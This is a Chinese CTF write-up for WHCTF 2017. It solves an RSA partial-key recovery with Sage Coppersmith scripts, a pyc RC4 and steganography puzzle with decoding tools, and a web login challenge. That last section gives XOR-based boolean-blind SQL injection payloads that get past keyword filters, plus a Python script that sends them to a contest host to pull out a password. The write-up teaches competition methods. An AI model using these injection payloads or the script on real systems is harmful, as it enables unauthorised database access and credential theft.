WHCTF 2017 Writeup — Aurora

Crypto——Untitled

核心考点在于拿到rsa中p的前568位,但是知道 e n 要利用算法破解1024位的p,至少需要576位,所以要爆破8位的二进制,达到576位了再用算法恢复完整的p

密码题目在最下方的whctf2017.py

WHCTF 2017 Writeup — Aurora_第1张图片
Paste_Image.png

nc 118.31.18.75 20013 与服务器交互

第一步,过md5

WHCTF 2017 Writeup — Aurora_第2张图片
Paste_Image.png

md5脚本为最下方的md5.py
之前都是用xrange生成随机长度,这次试一下生成固定长度的字符串,而且字符集合可以自己选择,没准以后哪次CTF就能用到
WHCTF 2017 Writeup — Aurora_第3张图片
Paste_Image.png

第2步要求输入x和y,这里主要考rsa的原理,类似数学等价推导

WHCTF 2017 Writeup — Aurora_第4张图片
Paste_Image.png

第3步爆破p

  • 成功交互后返回了s,其中s是p的前部分,脚本中用p4表示

  • 已知e n 要爆破1024位的p,至少需要知道前576位二进制,即前144位16进制,但是返回的s是长位142位的十六进制,需要爆破两位,凑到144位

  • 这里要用到sagaMath来调用强大的计算能力,但是saga有点大,这里推荐一个在线的saga运行网址 https://cocalc.com/

  • 参考链接
    http://bobao.360.cn/ctf/detail/205.html partital题
    https://www.liangmlk.cn/Index-newDetail-id-10913.html Crypto So Cool题
    http://bobao.360.cn/ctf/detail/179.html Crypto So Cool题
    https://www.xctf.org.cn/library/details/c275754f6961bd9dfa83960551c1bd328246d5f5/ Crypto So Cool题
    http://inaz2.hatenablog.com/entries/2016/01/20 SageMath题有介绍saga的安装和使用
    通用的已知144位十六进制的部分p,爆破脚本为最下面的 通用144.py
    该题目中爆破两位后,才能构成144位,爆破脚本为最下面 412+2.py

144.py截图

WHCTF 2017 Writeup — Aurora_第5张图片
Paste_Image.png

142+2.py截图

WHCTF 2017 Writeup — Aurora_第6张图片
Paste_Image.png

第4步 p q c 都知道了,求出明文 m

so easy,脚本为最下面的 rsa.py

git clone https://github.com/hellman/libnum

WHCTF 2017 Writeup — Aurora_第7张图片
Paste_Image.png
Paste_Image.png

whctf2017.py:

from Crypto.Util.number import getPrime,long_to_bytes,bytes_to_long
import primefac
import time
from os import urandom
import hashlib
import sys
class Unbuffered(object):
   def __init__(self, stream):
       self.stream = stream
   def write(self, data):
       self.stream.write(data)
       self.stream.flush()
   def __getattr__(self, attr):
       return getattr(self.stream, attr)
import sys
sys.stdout = Unbuffered(sys.stdout)
def gen_args():
    p=getPrime(1024)
    q=getPrime(1024)
    n=p*q
    e=0x10001
    d=primefac.modinv(e,(p-1)*(q-1))%((p-1)*(q-1))
    return (p,q,e,n,d)
def proof():
    salt=urandom(4)
    print salt.encode("base64"),
    proof=raw_input("show me your work: ")
    if hashlib.md5(salt+proof.decode("base64")).hexdigest().startswith("0000"):
        print "checked success"
        return 1
    return 0

def run():
    if not proof():
        return
    m=int(open("/home/bibi/PycharmProjects/work/whctf/flag","r").read().encode("hex"),16)#flag{*}
    (p,q,e,n,d)=gen_args()
    c=pow(m,e,n)
    print "n:",hex(n)
    print "e:",hex(e)
    print "c:",hex(c)
    t=int(hex(m)[2:][0:8],16)
    u=pow(t,e,n)
    print "u:",hex(u)
    print "===="
    x=int(hex(m)[2:][0:8]+raw_input("x: "),16)
    print "===="
    y=int(raw_input("y: "),16)
    if (pow(x,e,n)==y and pow(y,d,n)==t):
        print "s:",hex(int(bin(p)[2:][0:568],2))
run()

md5.py

#!coding:utf-8
import string
import hashlib
from random import Random
def random_str(randomlength=8):    #这里写的是8位字符的破解,在这题目中可以不下
    str = ''    
    chars = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789'
    length = len(chars) - 1
    random = Random() 
    for i in range(randomlength):    
        str+=chars[random.randint(0, length)]
    return str

salt = 'SauTEQ=='.decode('base64')
while True:
    proof =  random_str(8).encode('base64')
    if hashlib.md5(salt+proof.decode('base64')).hexdigest().startswith("0000"):
        print proof
        print salt
        print proof.decode('base64')+salt
        print salt.encode('base64')
        print hashlib.md5(salt+proof.decode('base64')).hexdigest()
        break

144.py

from sage.all import *
n = 0x9d3a1a28ecb1bd245dd86b18dc4c5b729f23778710005118836129f08e31d6516de8ab47db1b3b7f660f50d283b1e9f2c06e7836136e4c0159f5d2b05771861d3ce6aa8715932eadc1cc0f380909a1961018340f7393142f9c177b1187151f97ac8cdc4ad17fa59a0f39d192af555f27de9cc800846eb2ca6ce78f87c0c0fbf47828328392b81771af624389fd779d130d80739bb7a608961125ba3f1800c766440fa70bfd3f834294d47d7ed9cfffd6d14ae18310f6c1d6d8f88b6c5d72a0b45608b4e21bbb8e314220ed7a2d6a8c95454e571c71b50f1d6a823778ca47131f5b889a1ed1957248bee8c4ac66872a5fd58a121560a27bad4958f1c763f2ffddL

p4 =0xda5df16f286dbc825cd0c8ee48aa26ac27338a75172c5b92351f14d083216f7e91b9355e27cf930646fbbda6058dec3c4ddf751f36df5556359fbe671f9b947b4c79cadfdbb27b57
#刚好144位十六进制,576位二进制

e = 0x10001
pbits = 1024

kbits = pbits - p4.nbits()
print p4.nbits()
p4 = p4 << kbits
PR. = PolynomialRing(Zmod(n))
f = x + p4
roots = f.small_roots(X=2^kbits, beta=0.4)
#经过以上一些函数处理后,n和p已经被转化为10进制
if roots:        
    p = p4+int(roots[0]) 
    print "n: ", n   
    print "p: ", p
    print "q: ", n/p

运行结果

WHCTF 2017 Writeup — Aurora_第8张图片
Paste_Image.png

142+2.py

from sage.all import *
n = 0x9d3a1a28ecb1bd245dd86b18dc4c5b729f23778710005118836129f08e31d6516de8ab47db1b3b7f660f50d283b1e9f2c06e7836136e4c0159f5d2b05771861d3ce6aa8715932eadc1cc0f380909a1961018340f7393142f9c177b1187151f97ac8cdc4ad17fa59a0f39d192af555f27de9cc800846eb2ca6ce78f87c0c0fbf47828328392b81771af624389fd779d130d80739bb7a608961125ba3f1800c766440fa70bfd3f834294d47d7ed9cfffd6d14ae18310f6c1d6d8f88b6c5d72a0b45608b4e21bbb8e314220ed7a2d6a8c95454e571c71b50f1d6a823778ca47131f5b889a1ed1957248bee8c4ac66872a5fd58a121560a27bad4958f1c763f2ffddL

p4 =0xda5df16f286dbc825cd0c8ee48aa26ac27338a75172c5b92351f14d083216f7e91b9355e27cf930646fbbda6058dec3c4ddf751f36df5556359fbe671f9b947b4c79cadfdbb27b00 
#最后面8位二进制,也就是两位十六进制要参与爆破运算,所以要用 00 补充
e = 0x10001
pbits = 1024

for i in range(0,256):    # 要爆破的8位二进制数,为2**8=256,表示0~255
    p4=0xda5df16f286dbc825cd0c8ee48aa26ac27338a75172c5b92351f14d083216f7e91b9355e27cf930646fbbda6058dec3c4ddf751f36df5556359fbe671f9b947b4c79cadfdbb27b00
    p4=p4+int(hex(i),16)
#    print hex(p4)
    kbits = pbits - p4.nbits()
#    print p4.nbits()
    p4 = p4 << kbits
    PR. = PolynomialRing(Zmod(n))
    f = x + p4
    roots = f.small_roots(X=2^kbits, beta=0.4)
#经过以上一些函数处理后,n和p已经被转化为10进制
    if roots:
        p = p4+int(roots[0])
        print "n: ", n
        print "p: ", p
        print "q: ", n/p
        break

运行结果

WHCTF 2017 Writeup — Aurora_第9张图片
Paste_Image.png

rsa.py

#!coding:utf-8
import libnum

p = 153342497773165720646471265753416937042378585974980600696228054280777067742118708748260148517704664270966750151230879697775745552153863038444052153549264336387543725044459125347571130674447630098572217293190874462747269265287826289527205379087607586543990164027856167617915226681078528645859423680436167557483
q = 129436166908331611554181128183182589454341960422674433223367230133752416435382709963204302422852744109315802741839344452057748805269289759475931297256986800620920742486276489445279916851138781600867108041340752127975698302831477903370939720026728065273734373673806527712975351406042878379903498709089420733911
n = p * q
e = 65537
c = 3936037472808777071308929516154413904323194935340248548327659414834313812796990403988095925642368079268517801058041656316181783492880322278956562595000260504254255037928037412478862828849501974686520351939250369196179274580006017942557434135384292957158484997604383679828898427028204052111920452543131945953240230799711698405726536262211948501121455918845580494839990978306064590105574542739676508765285583405238287804427122294772381588739840326134102495086948522002204793929245624099798045204501372180048163169180023176545149820275841071238390132249159995705693884766122963689536408510312667760860122892135226523829
phi = (p - 1) * (q - 1)
d = libnum.modular.invmod(e, phi)
m = libnum.n2s(pow(c, d, n))  #m是明文,也就是flag
print m   #flag{rs4_y0ok_s0_m2ch_1n_c7f_qu4ls_c0mp7t1t10n}

Misc——py-py-py

这道题misc题,我一开始的思路是爆破uc_key,因为谷歌搜到以前uc的key泄露,为123456789,然后我就以为是爆破key,硬生生把一道misc题当作密码题来做,在最下面贴一下,我爆破uc_key的代码,没准以后哪次ctf会用到,为 uc_key.py

  • 现在言归正传,讲这道题的正确解法
  • 题目给了一个pyc文件,用一些工具反编译都会报错,后面找了一个在线的反编译pyc的网站,支持不同版本的pyc的反编译 http://tool.lu/pyc/
  • 反编译后的代码,贴在下方的py-py-py.py
WHCTF 2017 Writeup — Aurora_第10张图片
Paste_Image.png
  • 从部分代码看出,使用的是rc4加密算法,而且这里的 ddd 其实就是key
  • 网上找到一份rc4解密的python实现算法,代码贴在下面的 rc4.py
    修改几个变量就能解了。。。。。
Paste_Image.png
Paste_Image.png

运行结果

Paste_Image.png
  • 根据运行结果,知道了是pyc隐写,加解密脚本是Stegosaurus.py,代码也贴在下面,要在 >=py3.6 的版本下运行
Paste_Image.png

py-py-py.py

#!/usr/bin/env python
# encoding: utf-8
# 访问 http://tool.lu/pyc/ 查看更多信息
import sys
import os
import hashlib
import time
import base64
fllag = '9474yeUMWODKruX7OFzD9oekO28+EqYCZHrUjWNm92NSU+eYXOPsRPEFrNMs7J+4qautoqOrvq28pLU='

def crypto(string, op, public_key, expirytime = ('encode', 'ddd', 0)):
    ckey_lenth = 4
    if not public_key or public_key:
        pass
    public_key = ''
    key = hashlib.md5(public_key).hexdigest()
    keya = hashlib.md5(key[0:16]).hexdigest()
    keyb = hashlib.md5(key[16:32]).hexdigest()
    if ckey_lenth:
        if not (op == 'decode' or string[0:ckey_lenth]) and hashlib.md5(str(time.time())).hexdigest()[32 - ckey_lenth:32]:
            pass                                    
    keyc = ''
    cryptkey = keya + hashlib.md5(keya + keyc).hexdigest()
    key_lenth = len(cryptkey)
    if not op == 'decode' or base64.b64decode(string[4:]):
        pass
    string = '0000000000' + hashlib.md5(string + keyb).hexdigest()[0:16] + string
    string_lenth = len(string)
    result = ''
    box = list(range(256))
    randkey = []
    for i in xrange(255):
        randkey.append(ord(cryptkey[i % key_lenth]))
    
    for i in xrange(255):
        j = 0
        j = (j + box[i] + randkey[i]) % 256
        tmp = box[i]
        box[i] = box[j]
        box[j] = tmp
    
    for i in xrange(string_lenth):
        a = 0
        j = 0
        a = (a + 1) % 256
        j = (j + box[a]) % 256
        tmp = box[a]
        box[a] = box[j]
        box[j] = tmp
        result += chr(ord(string[i]) ^ box[(box[a] + box[j]) % 256])
    
    if op == 'decode':
        if (result[0:10] == '0000000000' or int(result[0:10]) - int(time.time()) > 0) and result[10:26] == hashlib.md5(result[26:] + keyb).hexdigest()[0:16]:
            return result[26:]
        return None
    return keyc + base64.b64encode(result)

if __name__ == '__main__':
    while None:
        flag = raw_input('Please input your flag:')
        if flag == crypto(fllag, 'decode'):
            print('Success')
            break
            continue
            continue
        return None

rc4.py

# /usr/bin/python
# coding=utf-8
import sys, os, hashlib, time, base64


def rc4(string, op='encode', public_key='ddd', expirytime=0):
    ckey_lenth = 4
    public_key = public_key and public_key or ''
    key = hashlib.md5(public_key).hexdigest()
    keya = hashlib.md5(key[0:16]).hexdigest()
    keyb = hashlib.md5(key[16:32]).hexdigest()
    keyc = ckey_lenth and (
    op == 'decode' and string[0:ckey_lenth] or hashlib.md5(str(time.time())).hexdigest()[32 - ckey_lenth:32]) or ''
    cryptkey = keya + hashlib.md5(keya + keyc).hexdigest()
    key_lenth = len(cryptkey)
    string = op == 'decode' and base64.b64decode(string[4:]) or '0000000000' + hashlib.md5(string + keyb).hexdigest()[
                                                                               0:16] + string
    string_lenth = len(string)

    result = ''
    box = list(range(256))
    randkey = []

    for i in xrange(255):
        randkey.append(ord(cryptkey[i % key_lenth]))

    for i in xrange(255):
        j = 0
        j = (j + box[i] + randkey[i]) % 256
        tmp = box[i]
        box[i] = box[j]
        box[j] = tmp

    for i in xrange(string_lenth):
        a = j = 0
        a = (a + 1) % 256
        j = (j + box[a]) % 256
        tmp = box[a]
        box[a] = box[j]
        box[j] = tmp
        result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))

    if op == 'decode':
        if (result[0:10] == '0000000000' or int(result[0:10]) - int(time.time()) > 0) and result[10:26] == hashlib.md5(
                        result[26:] + keyb).hexdigest()[0:16]:
            return result[26:]
        else:
            return None
    else:
        return keyc + base64.b64encode(result)

if __name__ == '__main__':
    string = '我在这里呢,你在那里呢'
    print(string)
    str = rc4(string, 'encode')
    print(str)
    fllag = '9474yeUMWODKruX7OFzD9oekO28+EqYCZHrUjWNm92NSU+eYXOPsRPEFrNMs7J+4qautoqOrvq28pLU='
    rc = rc4(fllag, 'decode')
    print(rc)

Stegosaurus.py

import argparse
import logging
import marshal
import opcode
import os
import py_compile
import sys
import math
import string
import types

print ('usage: python Stegosaurus.py -h')
print ('usage: python Stegosaurus.py 1.pyc -x')

if sys.version_info < (3, 6):
    sys.exit("Stegosaurus requires Python 3.6 or later")


class MutableBytecode():
    def __init__(self, code):
        self.originalCode = code
        self.bytes = bytearray(code.co_code)
        self.consts = [MutableBytecode(const) if isinstance(const, types.CodeType) else const for const in code.co_consts]


def _bytesAvailableForPayload(mutableBytecodeStack, explodeAfter, logger=None):
    for mutableBytecode in reversed(mutableBytecodeStack):
        bytes = mutableBytecode.bytes
        consecutivePrintableBytes = 0
        for i in range(0, len(bytes)):
            if chr(bytes[i]) in string.printable:
                consecutivePrintableBytes += 1
            else:
                consecutivePrintableBytes = 0

            if i % 2 == 0 and bytes[i] < opcode.HAVE_ARGUMENT:
                if consecutivePrintableBytes >= explodeAfter:
                    if logger:
                        logger.debug("Skipping available byte to terminate string leak")
                    consecutivePrintableBytes = 0
                    continue
                yield (bytes, i + 1)


def _createMutableBytecodeStack(mutableBytecode):
    def _stack(parent, stack):
        stack.append(parent)

        for child in [const for const in parent.consts if isinstance(const, MutableBytecode)]:
            _stack(child, stack)

        return stack

    return _stack(mutableBytecode, [])


def _dumpBytecode(header, code, carrier, logger):
    try:
        f = open(carrier, "wb")
        f.write(header)
        marshal.dump(code, f)
        logger.info("Wrote carrier file as %s", carrier)
    finally:
        f.close()


def _embedPayload(mutableBytecodeStack, payload, explodeAfter, logger):
    payloadBytes = bytearray(payload, "utf8")
    payloadIndex = 0
    payloadLen = len(payloadBytes)

    for bytes, byteIndex in _bytesAvailableForPayload(mutableBytecodeStack, explodeAfter):
        if payloadIndex < payloadLen:
            bytes[byteIndex] = payloadBytes[payloadIndex]
            payloadIndex += 1
        else:
            bytes[byteIndex] = 0

    print("Payload embedded in carrier")


def _extractPayload(mutableBytecodeStack, explodeAfter, logger):
    payloadBytes = bytearray()

    for bytes, byteIndex in _bytesAvailableForPayload(mutableBytecodeStack, explodeAfter):
        byte = bytes[byteIndex]
        if byte == 0:
            break
        payloadBytes.append(byte)

    payload = str(payloadBytes, "utf8")

    print("Extracted payload: {}".format(payload))


def _getCarrierFile(args, logger):
    carrier = args.carrier
    _, ext = os.path.splitext(carrier)

    if ext == ".py":
        carrier = py_compile.compile(carrier, doraise=True)
        logger.info("Compiled %s as %s for use as carrier", args.carrier, carrier)

    return carrier


def _initLogger(args):
    handler = logging.StreamHandler()
    handler.setFormatter(logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s'))

    logger = logging.getLogger("stegosaurus")
    logger.addHandler(handler)

    if args.verbose:
        if args.verbose == 1:
            logger.setLevel(logging.INFO)
        else:
            logger.setLevel(logging.DEBUG)

    return logger


def _loadBytecode(carrier, logger):
    try:
        f = open(carrier, "rb")
        header = f.read(12)
        code = marshal.load(f)
        logger.debug("Read header and bytecode from carrier")
    finally:
        f.close()

    return (header, code)


def _logBytesAvailableForPayload(mutableBytecodeStack, explodeAfter, logger):
    for bytes, i in _bytesAvailableForPayload(mutableBytecodeStack, explodeAfter, logger):
        logger.debug("%s (%d)", opcode.opname[bytes[i - 1]], bytes[i])


def _maxSupportedPayloadSize(mutableBytecodeStack, explodeAfter, logger):
    maxPayloadSize = 0

    for bytes, i in _bytesAvailableForPayload(mutableBytecodeStack, explodeAfter):
        maxPayloadSize += 1

    logger.info("Found %d bytes available for payload", maxPayloadSize)

    return maxPayloadSize


def _parseArgs():
    argParser = argparse.ArgumentParser()
    argParser.add_argument("carrier", help="Carrier py, pyc or pyo file")
    argParser.add_argument("-p", "--payload", help="Embed payload in carrier file")
    argParser.add_argument("-r", "--report", action="store_true", help="Report max available payload size carrier supports")
    argParser.add_argument("-s", "--side-by-side", action="store_true", help="Do not overwrite carrier file, install side by side instead.")
    argParser.add_argument("-v", "--verbose", action="count", help="Increase verbosity once per use")
    argParser.add_argument("-x", "--extract", action="store_true", help="Extract payload from carrier file")
    argParser.add_argument("-e", "--explode", type=int, default=math.inf, help="Explode payload into groups of a limited length if necessary")
    args = argParser.parse_args()

    return args


def _toCodeType(mutableBytecode):
    return types.CodeType(
        mutableBytecode.originalCode.co_argcount,
        mutableBytecode.originalCode.co_kwonlyargcount,
        mutableBytecode.originalCode.co_nlocals,
        mutableBytecode.originalCode.co_stacksize,
        mutableBytecode.originalCode.co_flags,
        bytes(mutableBytecode.bytes),
        tuple([_toCodeType(const) if isinstance(const, MutableBytecode) else const for const in mutableBytecode.consts]),
        mutableBytecode.originalCode.co_names,
        mutableBytecode.originalCode.co_varnames,
        mutableBytecode.originalCode.co_filename,
        mutableBytecode.originalCode.co_name,
        mutableBytecode.originalCode.co_firstlineno,
        mutableBytecode.originalCode.co_lnotab,
        mutableBytecode.originalCode.co_freevars,
        mutableBytecode.originalCode.co_cellvars
        )


def _validateArgs(args, logger):
    def _exit(msg):
        msg = "Fatal error: {}\nUse -h or --help for usage".format(msg)
        sys.exit(msg)

    allowedCarriers = {".py", ".pyc", ".pyo"}

    _, ext = os.path.splitext(args.carrier)

    if ext not in allowedCarriers:
        _exit("Carrier file must be one of the following types: {}, got: {}".format(allowedCarriers, ext))

    if args.payload is None:
        if not args.report and not args.extract:
            _exit("Unless -r or -x are specified, a payload is required")

    if args.extract or args.report:
        if args.payload:
            logger.warn("Payload is ignored when -x or -r is specified")
        if args.side_by_side:
            logger.warn("Side by side is ignored when -x or -r is specified")

    if args.explode and args.explode < 1:
        _exit("Values for -e must be positive integers")

    logger.debug("Validated args")


def main():
    args = _parseArgs()
    logger = _initLogger(args)

    _validateArgs(args, logger)

    carrier = _getCarrierFile(args, logger)
    header, code = _loadBytecode(carrier, logger)

    mutableBytecode = MutableBytecode(code)
    mutableBytecodeStack = _createMutableBytecodeStack(mutableBytecode)
    _logBytesAvailableForPayload(mutableBytecodeStack, args.explode, logger)

    if args.extract:
        _extractPayload(mutableBytecodeStack, args.explode, logger)
        return

    maxPayloadSize = _maxSupportedPayloadSize(mutableBytecodeStack, args.explode, logger)

    if args.report:
        print("Carrier can support a payload of {} bytes".format(maxPayloadSize))
        return

    payloadLen = len(args.payload)
    if payloadLen > maxPayloadSize:
        sys.exit("Carrier can only support a payload of {} bytes, payload of {} bytes received".format(maxPayloadSize, payloadLen))

    _embedPayload(mutableBytecodeStack, args.payload, args.explode, logger)
    _logBytesAvailableForPayload(mutableBytecodeStack, args.explode, logger)

    if args.side_by_side:
        logger.debug("Creating new carrier file name for side-by-side install")
        base, ext = os.path.splitext(carrier)
        carrier = "{}-stegosaurus{}".format(base, ext)

    code = _toCodeType(mutableBytecode)

    _dumpBytecode(header, code, carrier, logger)


if __name__ == "__main__":
    main()

uc_key.py (虽然走了弯路,但希望以后能用到)

#!coding:utf-8
from hashlib import md5
import base64
from time import time
from datetime import datetime

import  sys   
default_encoding = 'utf-8'
if  sys.getdefaultencoding() != default_encoding:
    reload(sys)
    sys.setdefaultencoding(default_encoding)  #加上这几句话,可以防止一些编码报错

chars='0123456789zxcvbnmasdfghjklpoiuytrewqQWERTYUIOPLKJHGFDSAZXCVBNM+=/'

#string = '0be6770IigHXZpz9hQYR1fpl15R0z9MUalmYEPhJeEN/sRklL6wQw5yQ7SAyT6tKGJNY0AxnyzS/L7zWQII='

operation = 'DECODE'
#解密算法是RC4原理,之前UC_KEY采用的算法的逆算法

for UC_KEY in xrange(123456777,123456888): #这里密钥为123456789可以解出一个flag来
    string = '0be6770IigHXZpz9hQYR1fpl15R0z9MUalmYEPhJeEN/sRklL6wQw5yQ7SAyT6tKGJNY0AxnyzS/L7zWQII='
    result = ''
    UC_KEY= str(UC_KEY)
    print UC_KEY     
    ckey_length = 4
    key = '' 
    key = md5(UC_KEY).hexdigest()
    keya = md5(key[0:16]).hexdigest()
    keyb = md5(key[16:32]).hexdigest()
    if ckey_length == 0:
        keyc = ''
    elif operation == 'DECODE':
        keyc = string[0:ckey_length]
    elif operation == 'ENCODE':
        keyc = md5(str(datetime.now().microsecond)).hexdigest()[-ckey_length:]

    cryptkey = keya + md5((keya + keyc)).hexdigest()
    key_length = len(cryptkey)
    if operation == 'DECODE':
        b64 = 1
#        print string[ckey_length:]
        for strin in string[ckey_length:]:  #检查是不是base64可解的字符,不是就修改b64标志为0,然后break,不然会解码报错
#            print strin
            if  chars.find(strin) == -1:
                b64 = 0
                break
        if  b64 == 0:
            continue
        string = base64.b64decode(string[ckey_length:])
#        print string
    elif operation == 'ENCODE':
        if expiry == 0:
            string = '0000000000' + md5((string + keyb)).hexdigest()[0:16] + string
        else:
            string = '%10d' % (expiry + int(time())) + md5((string + keyb)).hexdigest()[0:16] + string
    else:
        print
    string_length = len(string)
    box = range(256)
    rndkey = [0] * 256
    for i in range(256):
        rndkey[i] = ord(cryptkey[i % key_length])

    j = 0
    for i in range(256):
        j = (j + box[i] + rndkey[i]) % 256
        tmp = box[i]
        box[i] = box[j]
        box[j] = tmp

    a = j = 0
    for i in range(string_length):
        a = (a + 1) % 256
        j = (j + box[a]) % 256
        tmp = box[a]
        box[a] = box[j]
        box[j] = tmp
        result += chr(ord(string[i]) ^ box[(box[a] + box[j]) % 256])
    print result[26:]
    if result[26:].find('Flag{') != -1:  #搜索flag特征字符串,作为退出条件
        print result[26:]
        sys.exit()
    if result[26:].find('CTF') != -1:
        print result[26:]
        sys.exit()
    if result[26:].find('ctf{') != -1:
        print result[26:]
        sys.exit() 

运行结果

WHCTF 2017 Writeup — Aurora_第11张图片
Paste_Image.png

在打WHCTF的时候,一个朋友在打问鼎杯,所以就做了一道问鼎杯的web题——谈笑风生

WHCTF 2017 Writeup — Aurora_第12张图片
Paste_Image.png
  • 闭合符号不是单引号,是双引号

  • 大量的过滤,比较蛋疼的有
    or 被过滤导致 information_schema也被过滤
    # --+ ;%00等注释符号被过滤
    and 被过滤
    /**/ /*!*/ 等绕过的符号都被过滤

  • 这里采用的绕过使用 异或逻辑符号+布尔盲注入
    username="^(ascii(mid(database(),1,1))>0)^"&password=""
    username="^(ascii(mid(database(),1,1))=0)^"&password=""
    前者显示error password ,后者显示error user

  • 这里用的布尔盲注脚本的关键payload是
    "^(ascii(mid(pass,%d,1))>%d)^"
    具体的盲注脚本贴在下面的sql.py

  • 因为information_schema被过滤,所以这里需要猜出字段pass,而不是password

闭合后的sql查询语句应该是这样

select * from user where username = ""^(ascii(mid(database(),1,1))>0)^""and password = ""
空字符串、1、空字符串 这三者异或后返回 1 

php代码的sql语句大概是这么写

$sql = select * from user where username = " .$username. "and pass=".md5($password)." 
  • 盲注得到密码,�1s2evfh345w$~*213eg3%����������������������������������������
  • 那么现在来到最坑的一步了,这里想骂出题人
    用户名admin和密码1s2evfh345w$~*213eg3%去登陆,结果没反应?????正常情况下,登陆成功后应该302跳转啊!!!!
  • 后面才知道有个admin.php,登陆成功后,在地址栏,手动将 index.php改成admin.php 。。。。flag就在cookie里面
WHCTF 2017 Writeup — Aurora_第13张图片
Paste_Image.png

推荐链接

sql绕过技巧 http://pupiles.com/mysqltrick.html
sql逻辑运算符 http://www.cnblogs.com/emanlee/p/4592337.htm

sql.py

import urllib2
import urllib

t=""
for i in range(1,500):
    for j in range(1,128):
        params={"username":'"^(ascii(mid(pass,%d,1))>%d)^"'%(i,j),"password":'xx'}
        ans=urllib2.urlopen("http://sec2.hdu.edu.cn/ac5c74b64b4b8352ef2f181affb5ac2a/index.php",urllib.urlencode(params)).read()
        #print ans
        if "Password error!" in ans:
            t+=chr(j)
            print t
            break
    print "a loop"

总结

看我写得这么详细,就知道我的心路历程了,然后就知道我是个菜鸡了,大佬的wp都是几句话带过的,膜拜各位大佬
另外,文章哪里写错了,欢迎各位ctf朋友指正
WHCTF 2017 Writeup — Aurora_第14张图片
Paste_Image.png

你可能感兴趣的:(WHCTF 2017 Writeup — Aurora)